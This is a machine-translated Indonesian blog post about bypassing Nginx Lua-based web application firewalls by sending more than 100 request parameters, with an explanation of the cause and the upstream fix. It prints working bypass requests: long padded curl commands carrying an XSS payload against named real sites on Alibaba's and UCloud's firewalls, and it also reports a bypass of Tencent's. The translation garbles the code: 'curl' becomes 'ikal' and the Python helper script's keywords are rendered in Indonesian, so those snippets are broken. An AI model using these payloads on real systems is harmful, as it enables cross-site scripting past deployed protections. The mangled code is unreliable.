|
|
Diposting pada 27/04/2018 09.23.29
|
|
|
|

Ketika ginx Lua memperoleh parameter, 100 nilai parameter pertama diperoleh secara default, dan sisanya dibuang. Oleh karena itu, WAF yang menggunakan Nginx Lua akan dilewati secara default. Pada tanggal 20 April 18, seseorang di penumpang keamanan telah mengungkapkan detail ini, jadi saya juga menerbitkan artikel 233 ini.
Prinsip
Deskripsi resminya adalah sebagai berikut
Perhatikan bahwa maksimum 100 argumen permintaan diurai secara default (termasuk yang memiliki nama yang sama) dan bahwa argumen permintaan tambahan dibuang secara diam-diam untuk melindungi dari potensi serangan penolakan layanan. Hingga 100 parameter permintaan (termasuk yang memiliki nama yang sama) dapat diurai secara default, dan parameter permintaan tambahan secara otomatis dihilangkan untuk mencegah potensi serangan penolakan layanan.
Pencarian 100, kira-kira metode berikut memiliki masalah yang sama. ngx.req.get_uri_args Mendapatkan parameter permintaan untuk get ngx.req.get_post_args Dapatkan parameter permintaan untuk postingan ngx.req.get_headers Mendapatkan header permintaan ngx.decode_args Memecahkan kode URL parameter ngx.resp.get_headers Mendapatkan header respons Dalam kode sumber modul lua-nginx, kita dapat melihat bahwa kode sumber menetapkan parameter permintaan maksimum default dan header ke 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Namun, pejabat menyediakan metode untuk memodifikasi nilai default, seperti ngx.req.get_uri_args (200) untuk mendapatkan 200 parameter permintaan pertama.
Ujian
Jika parameter permintaan adalah 101, parameter permintaan terakhir tidak dapat diperoleh.
ikal -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Jika Anda mengurangi satu parameter permintaan, Anda bisa mendapatkan parameter permintaan terakhir saat parameter permintaan tepat 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 A: ZBG Saya mengerti, zbg
Perhatikan bahwa defaultnya memang 100 parameter permintaan, dan parameter permintaan setelah 100 parameter permintaan akan dibuang.
Ada hal yang aneh bahwa di konten yang dikembalikan di atas, di tengah posisi kasar, parameter zbg akhir sudah dikeluarkan. Dugaan saya adalah bahwa outputnya tidak berurutan, tetapi urutan penguraian memang mengikuti urutan di mana parameter dikirimkan, karena ketika nilai parameter ke-101 adalah zbg, nilainya tidak dapat diperoleh.
Terlampir adalah skrip python yang menghasilkan parameter:
# Penulis: ZBG # surat:zbg@zbg.org # tanggal: 2018-04-03
a = '' untuk i dalam jangkauan (200): a = a + 'a{0}={1}&'.format(i+1, i+1) Cetak memperbaiki Tentu saja, tidak disarankan untuk memodifikasi nilai MAX dari parameter dalam kode sumber. Karena tidak peduli seberapa besar nilai yang Anda tetapkan, itu dapat dilewati. Disarankan untuk mengaturnya melalui parameter metode. Jika Anda bisa mendapatkan panjang parameter permintaan dan menggunakan metode seperti ngx.req.get_uri_args (lenth), bukankah itu cukup? Membaca dokumentasi, saya menemukan bahwa jumlah parameter yang diminta tidak dapat diperoleh. Namun, jika Anda mengatur lenth ke 0, Anda bisa mendapatkan semua parameter yang diminta.
Argumen ini dapat diatur ke nol untuk menghapus batas dan memproses semua argumen permintaan yang diterima. Argumen lokal = ngx.req.get_uri_args(0)
Namun, sangat tidak disarankan untuk mengaturnya ke 0 untuk mencegah potensi serangan penolakan layanan.
Melepas tutup max_args sangat tidak dianjurkan.
Sebenarnya, saya bertanya-tanya mengapa pengaturan 0 akan mengarah pada potensi serangan penolakan layanan, dan permintaan itu akan tetap masuk ke nginx, tidak peduli berapa banyak parameter yang ada di get atau post.
Saya mengajukan masalah kepada pejabat, dan penulis mengatakan bahwa ngx.req.get_uri_args (0) akan meningkatkan penggunaan CPU dan memori server. Kemudian, saya menguji 200 parameter, dan menggunakan Nginx+php untuk mendapatkan parameter ke-200, yang berarti bahwa Nginx tidak membatasi jumlah parameter yang diminta secara default. Maka masalahnya mungkin terletak pada Nginx Lua itu sendiri,Ketika Nginx Lua menggunakan ngx.req.get_uri_args(0) untuk mendapatkan semua parameter dan mengulanginya, begitu ada banyak parameter yang diminta, ia menghabiskan lebih banyak CPU dan memori, dan akhirnya bahkan mengarah pada penolakan layanan。
Pada 04/03/2018, Bypass007 secara resmi mengangkat MASALAH tentang perbaikan bug ini, dan akhirnya secara resmi menambahkan fitur baru berdasarkan MASALAH ini pada 2018-04-21. Alamat catatan penerapan fungsi ini: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Deskripsi fungsinya adalah sebagai berikut: Dalam versi setelah v0.10.13 (termasuk v0.10.13), ketika batas jumlah permintaan dilanggar, nilai pengembalian kedua adalah string yang terpotong. Sejak v0.10.13, ketika batas terlampaui, itu akan mengembalikan nilai kedua yang merupakan string "terpotong". Namun, argumen fungsi max_args opsional dapat digunakan untuk mengganti batas ini: Argumen lokal, err = ngx.req.get_uri_args(10) jika err == "terpotong" maka -- seseorang dapat memilih untuk mengabaikan atau menolak permintaan saat ini di sini akhir
Jadi, perbaikan terakhir keluar.
Tingkatkan lua-nginx-module ke v0.10.13 atau yang lebih baru
Kemudian batasi jumlah total parameter, adapun berapa jumlah total yang terbatas, saya pribadi berpikir 100 sudah cukup
OpenResty meningkatkan modul modul lua-nginx
Saya tidak menemukan informasi apa pun tentang modul peningkatan OpenRetty, jadi saya menemukan cara untuk meningkatkan modul modul lua-nginx sendiri.
Langkah-langkahnya adalah sebagai berikut:
Unduh versi modul lua-nginx yang sesuai wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 Membongkar tar -zxvf v0.10.13 Hapus versi modul lua-nginx sebelumnya rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Salin modul lua-nginx baru mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Untuk kompilasi, lihat parameter kompilasi VeryNginx
Bypass kasus
Perlu diklarifikasi bahwa WAF berikut saya tidak yakin apakah akan menggunakan Nginx Lua, tetapi mereka dapat dilewati dengan jumlah total parameter.
Ali WAF
WAF ini adalah WAF yang digunakan secara internal oleh Alibaba, yaitu WAF yang digunakan oleh nama domain seperti *.taobao.com, dan belum diuji untuk cloud WAF yang dijual oleh Alibaba Cloud. Pertama, minta Muatan POST XSS untuk mencegatnya. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Melalui Fuzz, ditemukan bahwa ketika jumlah parameter ditingkatkan menjadi 478, dengan XSS Payload, tidak lagi dicegat, dan situs web dapat diakses secara normal. ikal -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26= a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&122=122&a123=123&a124=124&a125=125&a126=126&126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
WAF yang diuji adalah WAF yang dijual oleh UCloud. Ketika parameter permintaan ditingkatkan menjadi 138, parameter tersebut tidak akan lagi diblokir dan situs web akan diakses secara normal. ikal -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26= a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&122=122&a123=123&a124=124&a125=125&a126=126&126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=waspada(1234)' taqu.cn
Tencent WAF
WAF ini adalah WAF yang digunakan oleh Tencent secara internal, yaitu WAF yang digunakan oleh nama domain seperti *.qq.com, dan belum diuji untuk cloud WAF yang dijual oleh Tencent Cloud. Ketika parameter permintaan meningkat menjadi 4000, itu tidak akan lagi diblokir dan situs web akan diakses secara normal. Pengujian acak dari domain berikut terpengaruh. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
ringkasan
Pertanyaan ini sangat sederhana, dan Anda dapat menemukannya dengan membaca dokumen dengan cermat. Tapi mengapa saya tidak mengetahuinya? Saya pikir itu masih terlalu sedikit pemikiran. Referensi
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Mantan:Pelajari Photoshop dari awal, 18 pelajaran dari pemula hingga dewaDepan:Kekuatan dan kelemahan Lua dan Luajit
|